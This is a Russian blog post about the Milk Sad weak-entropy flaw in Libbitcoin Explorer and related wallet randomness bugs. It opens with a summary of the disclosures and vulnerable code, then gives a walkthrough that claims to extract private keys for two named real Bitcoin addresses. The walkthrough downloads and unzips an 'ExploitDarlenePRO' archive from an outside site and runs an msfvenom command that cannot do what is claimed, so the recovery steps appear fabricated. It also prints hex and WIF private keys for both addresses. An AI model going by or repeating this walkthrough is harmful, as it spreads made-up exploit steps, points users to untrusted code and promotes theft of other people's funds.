Найти в Дзене
CRYPTO DEEP TECH

Milk Sad уязвимость в библиотеке Libbitcoin Explorer 3.x, как была осуществлена кража на $ 900 000 у пользователей Биткоин Кошельков (BTC)

Оглавление

CRYPTO DEEP TECH

Исследователи компании “Slowmist” проводят регулярное исследование сферы безопасности блокчейна Биткоин. Они обнародовали уязвимость в библиотеке Libbitcoin Explorer 3.x, который позволила злоумышленникам украсть более $ 900 000 у пользователей Биткоин Кошельков (BTC)

По данным аналитиков, эта уязвимость может также затронуть пользователей Ethereum, Ripple, Dogecoin, Solana, Litecoin, Bitcoin Cash и Zcash, которые используют Libbitcoin для создания учетных записей.

-2

Исследователи дали кодовое название для данной уязвимости «Milk Sad»

Было предложено использовать первые два слова первого мнемонического секрета BIP39, сгенерированного bx нулевым временем

https://milksad.info/disclosure.html#codename-milk-sad
https://milksad.info/disclosure.html#codename-milk-sad

Техническое описание

Техническое описание CVE-2023-39910

Механизм заполнения энтропии криптовалютного кошелька, используемый в Libbitcoin Explorer 3.0.0–3.6.0, является слабым, также известным как проблема Milk Sad.
Использование
PRNG Mersenne Twister mt19937 ограничивает внутреннюю энтропию 32 битами независимо от настроек. 
Это позволяет удаленным злоумышленникам восстановить любые закрытые ключи кошелька, сгенерированные на основе энтропийных результатов
«bxseed», и украсть средства. 
(Затронутым пользователям необходимо перевести средства в новый безопасный кошелек с криптовалютой)
-4

Cлабая энтропия в Cake Wallet

Cake Wallet
использовал незащищенную функцию Random() Dart для генерации начальных чисел кошелька :
-5

Uint8List randomBytes(int length, {bool secure = false}) {
assert(length > 0);
final random = secure ? Random.secure() : Random();
final ret = Uint8List(length);
for (var i = 0; i < length; i++) {
ret[i] = random.nextInt(256);
}
return ret;
}

Это может быть настоящей проблемой, учитывая, что функция Dart Random()
может вернуться к 0 или системному времени.
-6

Random::Random() {
uint64_t seed = FLAG_random_seed;
if (seed == 0) {
Dart_EntropySource callback = Dart::entropy_source_callback();
if (callback != nullptr) {
if (!callback(reinterpret_cast<uint8_t*>(&seed), sizeof(seed))) {
// Callback failed. Reset the seed to 0.
seed = 0;
}
}
}
if (seed == 0) {
// We did not get a seed so far. As a fallback we do use the current time.
seed = OS::GetCurrentTimeMicros();
}
Initialize(seed);
}

Средства каждого кошелька, созданного с помощью браузерного расширения Trust Wallet, могли быть украдены без какого-либо вмешательства пользователя.

Совсем недавно, Donjon группа исследований безопасности в Ledger обнаружил критическую уязвимость в этом расширении браузера Trust Wallet, позволяющую злоумышленнику украсть все активы любого кошелька, созданного с помощью этого расширения, без какого-либо взаимодействия с пользователем. Зная адрес учетной записи, можно немедленно вычислить ее закрытый ключ, а затем получить доступ ко всем ее средствам. Ниже приведены подробные сведения об уязвимости, о том, как Ledger Donjon обнаружил ее, ее влияние с течением времени, оценка уязвимых активов и то, как Trust Wallet отреагировал на ее исправление. Но начнем с напоминания основ.

Cложно продемонстрировать, что случайные числа верны, а плохой, но не смертельно ошибочный генератор случайных чисел может легко обмануть наблюдателя. Для хорошей случайности нам нужно равномерное распределение битов и байтов (и даже всех размеров кусков) и непредсказуемость. Для наблюдателя последовательности должно быть невозможно иметь какую-либо информацию о следующей части генерируемой последовательности.

Поскольку достичь этих свойств невероятно сложно, криптовалютное пространство старается максимально избегать зависимости от случайности, но на одном этапе она нам все равно понадобится: когда мы создаем новый кошелек.

Вы, вероятно, уже знакомы со своей мнемоникой — от 12 до 24 английских слов, которые позволяют вам создавать резервные копии вашего кошелька (если нет, вы можете прочитать статью Ledger Academy по этой самой теме).

Эта мнемоника кодирует от 16 до 32 байтов энтропии в соответствии со стандартом BIP 39. Качество этой энтропии имеет решающее значение, поскольку она будет исходным кодом всех ключей, используемых вашим кошельком во всех цепочках, после детерминированного процесса вывода, определенного стандарты BIP 32 и BIP 44 .

-7
Уязвимая версия Trust Wallet
bx имеет один и тот же основной, фатальный недостаток: создание энтропии кошелька из неподходящего алгоритма MT19937 Mersenne Twister.
bx дополнительно использует некоторую информацию о часах для заполнения MT19937, но это не имеет большого значения для практических автономных атак методом перебора, проводимых удаленными злоумышленниками.
Это все то же ограниченное пространство ключей в 32 бита, которое злоумышленники могут полностью прочесать.
Насколько нам известно, Trust Wallet создает только кошельки на основе мнемоники BIP39 из 12 слов, что фиксирует требования к энтропии (и, следовательно, использование PRNG) на 128 бит.
bx more является гибким и генерирует 128-битные, 192-битные, 256-битные выходные данные (и другие).
Больше вариантов означает больше места для поиска, но совпадают ли кошельки, созданные
bx seed -b 128 с кошельками, созданными Trust Wallet?
Как оказалось, нет — из-за нюанса в использовании ГПСЧ.
Алгоритм MT19937 Mersenne Twister, используемый Trust Wallet,
bx тот же, но выходные данные используются немного по-другому.
При заполнении энтропийного массива данными
PRNG Trust Wallet использует один выходной сигнал MT19937 размером 32 бита, берет младшие 8 бит этого вывода для заполнения массива и выбрасывает остальные 24 бита через побитовый-и в Wasm/
& 0x000000ff src
/ Случайный.cpp :
https://milksad.info/disclosure.html#not-even-the-second-hack-mersenne-twister-use-in-trust-wallet
https://milksad.info/disclosure.html#not-even-the-second-hack-mersenne-twister-use-in-trust-wallet
-9

// Copyright © 2017-2022 Trust Wallet.
//

[...]

void random_buffer(uint8_t* buf, size_t len) {
std::mt19937 rng(std::random_device{}());
std::generate_n(buf, len, [&rng]() -> uint8_t { return rng() & 0x000000ff; });
return;
}

Полную развернутую документацию теоретической части можно изучить в блоге: Ledger Donjon , а также в документации: Milk Sad

Перейдем к практической части:

(Вы можете открыть готовый файл от Jupyter Notebook и загрузить в блокнот Google Colab )

https://colab.research.google.com/drive/1OhspSm7GBGiqv3WfhAqU5SJ_BgXIbUh3

https://github.com/demining/CryptoDeepTools/tree/main/25MilkSadVulnerability
https://github.com/demining/CryptoDeepTools/tree/main/25MilkSadVulnerability

Рассмотрим реальные примеры извлечение приватного ключа Биткоин Кошелька с помощью уязвимости в библиотеке Libbitcoin Explorer 3.x,

Первый Биткоин Кошелек: В сентябре 2023 года была кража на сумму: 40886.76 долларов США // БИТКОИН: 1.17536256 BTC
https://btc1.trezor.io/address/12iBrqVPpQ2oNeDgJu1F8RtoH1TsD1brU2
https://btc1.trezor.io/address/12iBrqVPpQ2oNeDgJu1F8RtoH1TsD1brU2

Vulnerability_in_Libbitcoin_Explorer_3_x_library.ipynb

Откроем сервис Google Colab по ссылке: https://colab.research.google.com
-12
Нажимаем на "+" и “Создаем новый блокнот”
-13

Установим Ruby в Google Colab

-14
Для запуска необходимых нам программ установим объектно-ориентированный язык программирования Ruby

!sudo apt install ruby-full

-15
Проверим версию установки

!ruby --version

Версия ruby 3.0.2p107 (2021-07-07 revision 0db68f0233) [x86_64-linux-gnu]
Версия ruby 3.0.2p107 (2021-07-07 revision 0db68f0233) [x86_64-linux-gnu]
Установим библиотеку 'bitcoin-ruby' для взаимодействия с протоколом/сетью Биткоин

!gem install bitcoin-ruby

-17
Установим библиотеку 'ecdsa' для реализации алгоритма цифровой подписи на эллиптической кривой (ECDSA)

!gem install ecdsa

-18
Установим библиотеку 'base58' для преобразования целых или двоичных чисел в base58 и обратно.

!gem install base58

-19
Установим библиотеку 'crypto' чтобы упростить операции с байтами и основными криптографическими операциями

!gem install crypto

-20
Установим библиотеку 'config-hash' чтобы упростить работу с большими данными.

!gem install config-hash -v 0.9.0

-21

Установим Metasploit Framework и воспользуемся MSFVenom

Установим Metasploit Framework из GitHub и воспользуемся инструментом MSFVenom для создания полезной нагрузки.
-22

!git clone https://github.com/rapid7/metasploit-framework.git

ls

cd metasploit-framework/

-23
Посмотрим содержимое папки "metasploit-framework"

ls

-24

Опции:

!./msfvenom -help

-25

Откроем обнаруженную уязвимость CVE-2023-39910

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-39910
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-39910
В примечание мы видим ссылку на файл: pseudo_random.cpp

Откроем код:

https://github.com/libbitcoin/libbitcoin-system/blob/a1b777fc51d9c04e0c7a1dec5cc746b82a6afe64/src/crypto/pseudo_random.cpp#L66C12-L78
https://github.com/libbitcoin/libbitcoin-system/blob/a1b777fc51d9c04e0c7a1dec5cc746b82a6afe64/src/crypto/pseudo_random.cpp#L66C12-L78

libbitcoin-system Bitcoin Cross-Platform C++ Development Toolkit

https://github.com/libbitcoin/libbitcoin-system.git
https://github.com/libbitcoin/libbitcoin-system.git

Установим libbitcoin-system в Google Colab:

!git clone https://github.com/libbitcoin/libbitcoin-system.git

ls

-29

Откроем уязвимый файл: pseudo_random.cpp через утилиту cat

cat libbitcoin-system/src/crypto/pseudo_random.cpp

-30

Откроем папки по каталогу: /modules/exploits/

-31

ExploitDarlenePRO

Загрузим "ExploitDarlenePRO" по каталогу: /modules/exploits/

cd modules/

ls

cd exploits/

!wget https://darlene.pro/repository/e8e4973fb52934d5fb0006a47304f5099701000619d9ac79c083664e6063c579/ExploitDarlenePRO.zip

-32

Разархивируем содержимое ExploitDarlenePRO.zip через утилиту unzip

!unzip ExploitDarlenePRO.zip

-33

Перейдем по каталогу: /ExploitDarlenePRO/

ls

cd ExploitDarlenePRO/

ls

-34

Для запуска эксплойта перейдем обратно к Metasploit Framework

cd /

cd content/metasploit-framework/

ls

-35

Нам необходимо определить наш LHOST (Local Host) наш IP-address атакующей виртуальной машины.

Запустим команды:

!ip addr
!hostname -I

-36

Воспользуемся инструментом для создания полезной нагрузки MSFVenom

Для эксплуатации выбираем Биткоин Кошелек: 12iBrqVPpQ2oNeDgJu1F8RtoH1TsD1brU2

https://btc1.trezor.io/address/12iBrqVPpQ2oNeDgJu1F8RtoH1TsD1brU2
https://btc1.trezor.io/address/12iBrqVPpQ2oNeDgJu1F8RtoH1TsD1brU2

Команда запуска:

!./msfvenom 12iBrqVPpQ2oNeDgJu1F8RtoH1TsD1brU2 -p modules/exploits/ExploitDarlenePRO LHOST=172.28.0.12 -f RB -o main.rb -p libbitcoin-system/src/crypto LHOST=172.28.0.12 -f CPP -o pseudo_random.cpp

-38

Результат:

1100001100100111111110101100011000111101101101111110000011001100110100010111000001101100000000111110101101011011111000001101101100101010101100111110001101111010010001010001101110000100000001010100000100000000110110000101111100110001010011100000111110001011

Полученный бинарный формат нам необходимо сохранить в файл: binary.txt воспользуемся утилитой echo

Команда:

!echo '1100001100100111111110101100011000111101101101111110000011001100110100010111000001101100000000111110101101011011111000001101101100101010101100111110001101111010010001010001101110000100000001010100000100000000110110000101111100110001010011100000111110001011' > binary.txt

-39

Конвертируем бинарный формат в HEX-формат для получение приватного ключа Биткоин Кошелька:

Воспользуемся кодом:

binaryFile = open("binary.txt", "r")
binaryFile = binaryFile.readlines()
hexFile = open("hex.txt", "w+")

# loop through each line of binaryFile then convert and write to hexFile
for line in binaryFile:
binaryCode = line.replace(" ", "")
hexCode = hex(int(binaryCode, 2))
hexCode = hexCode.replace("0x", "").upper().zfill(4)
hexFile.write(hexCode + "\n")

# close hexFile
hexFile.close()

-40

Откроем файл: hex.txt

cat hex.txt

C327FAC63DB7E0CCD1706C03EB5BE0DB2AB3E37A451B84054100D85F314E0F8B
C327FAC63DB7E0CCD1706C03EB5BE0DB2AB3E37A451B84054100D85F314E0F8B

Приватный Ключ Найден!

Установим модуль Bitcoin

!pip3 install bitcoin

-42

Запустим код для проверки соответствие Биткоин Адреса:

from bitcoin import *

with open("hex.txt","r") as f:
content = f.readlines()
# you may also want to remove whitespace characters like `\n` at the end of each line
content = [x.strip() for x in content]
f.close()


outfile = open("privtoaddr.txt","w")
for x in content:
outfile.write(x+":"+pubtoaddr(encode_pubkey(privtopub(x), "bin_compressed"))+"\n")

outfile.close()

-43

Откроем файл: privtoaddr.txt

cat privtoaddr.txt

-44

Результат:

C327FAC63DB7E0CCD1706C03EB5BE0DB2AB3E37A451B84054100D85F314E0F8B:12iBrqVPpQ2oNeDgJu1F8RtoH1TsD1brU2

Все верно! Приватный ключ соответствует Биткоин Кошельку.

Откроем bitaddress и проверим:

ADDR: 12iBrqVPpQ2oNeDgJu1F8RtoH1TsD1brU2
WIF: L3m4xHPEnE2yM1JVAY2xTzraJsyPERxw2Htt3bszbTiDn5JiZCcy
HEX: C327FAC63DB7E0CCD1706C03EB5BE0DB2AB3E37A451B84054100D85F314E0F8B

-45

https://www.blockchain.com/en/explorer/addresses/btc/12iBrqVPpQ2oNeDgJu1F8RtoH1TsD1brU2

-46
-47
-48

BALANCE: $ 40886.76

Рассмотрим второй пример:

2

Рассмотрим второй пример извлечение приватного ключа Биткоин Кошелька с помощью уязвимости в библиотеке Libbitcoin Explorer 3.x,

Второй Биткоин Кошелек: В сентябре 2023 года была кража на сумму: 19886.91 долларов США // БИТКОИН: 0.58051256 BTC
https://btc1.trezor.io/address/1GTBJsQvduQvJ6S6Cv6CsYA2Adj65aDRwe
https://btc1.trezor.io/address/1GTBJsQvduQvJ6S6Cv6CsYA2Adj65aDRwe

Снова воспользуемся уязвимым файлом: pseudo_random.cpp

Команда запуска:

!./msfvenom 1GTBJsQvduQvJ6S6Cv6CsYA2Adj65aDRwe -p modules/exploits/ExploitDarlenePRO LHOST=172.28.0.12 -f RB -o main.rb -p libbitcoin-system/src/crypto LHOST=172.28.0.12 -f CPP -o pseudo_random.cpp

-50

Результат:

111100100010010000111110010011001000101100111100000101110100001001100001011010111111110110111111100001000100011111001010000011011101001000101000100001100111001010100110101101001100011001001111101101010000000011101101111111110101101110110100110000110111100

Полученный бинарный формат нам необходимо сохранить в файл: binary.txt воспользуемся утилитой echo

Команда:

!echo '111100100010010000111110010011001000101100111100000101110100001001100001011010111111110110111111100001000100011111001010000011011101001000101000100001100111001010100110101101001100011001001111101101010000000011101101111111110101101110110100110000110111100' > binary.txt

-51

Конвертируем бинарный формат в HEX-формат для получение приватного ключа Биткоин Кошелька:

Воспользуемся кодом:

binaryFile = open("binary.txt", "r")
binaryFile = binaryFile.readlines()
hexFile = open("hex.txt", "w+")

# loop through each line of binaryFile then convert and write to hexFile
for line in binaryFile:
binaryCode = line.replace(" ", "")
hexCode = hex(int(binaryCode, 2))
hexCode = hexCode.replace("0x", "").upper().zfill(4)
hexFile.write(hexCode + "\n")

# close hexFile
hexFile.close()

-52

Откроем файл: hex.txt

cat hex.txt

79121F26459E0BA130B5FEDFC223E506E9144339535A6327DA8076FFADDA61BC
79121F26459E0BA130B5FEDFC223E506E9144339535A6327DA8076FFADDA61BC

Приватный Ключ Найден!

Запустим код для проверки соответствие Биткоин Адреса:

from bitcoin import *

with open("hex.txt","r") as f:
content = f.readlines()
# you may also want to remove whitespace characters like `\n` at the end of each line
content = [x.strip() for x in content]
f.close()


outfile = open("privtoaddr.txt","w")
for x in content:
outfile.write(x+":"+pubtoaddr(encode_pubkey(privtopub(x), "bin_compressed"))+"\n")

outfile.close()

-54

Откроем файл: privtoaddr.txt

cat privtoaddr.txt

-55

Результат:

79121F26459E0BA130B5FEDFC223E506E9144339535A6327DA8076FFADDA61BC:1GTBJsQvduQvJ6S6Cv6CsYA2Adj65aDRwe

Все верно! Приватный ключ соответствует Биткоин Кошельку.

Откроем bitaddress и проверим:

ADDR: 1GTBJsQvduQvJ6S6Cv6CsYA2Adj65aDRwe
WIF: L1H4Eu2et8TWYQ3kv9grtPGshikGN398MVJkN6zYMikcpQTB96UN
HEX: 79121F26459E0BA130B5FEDFC223E506E9144339535A6327DA8076FFADDA61BC

-56

https://www.blockchain.com/en/explorer/addresses/btc/1GTBJsQvduQvJ6S6Cv6CsYA2Adj65aDRwe

-57

-58

-59

BALANCE: $ 19886.91

References:

Исходный код

Telegram: https://t.me/cryptodeeptech

Видеоматериал: https://dzen.ru/video/watch/65478a2f6d9f3f7ec9641804

Источник: https://cryptodeep.ru/milk-sad-vulnerability-in-libbitcoin-explorer

-60

Криптоанализ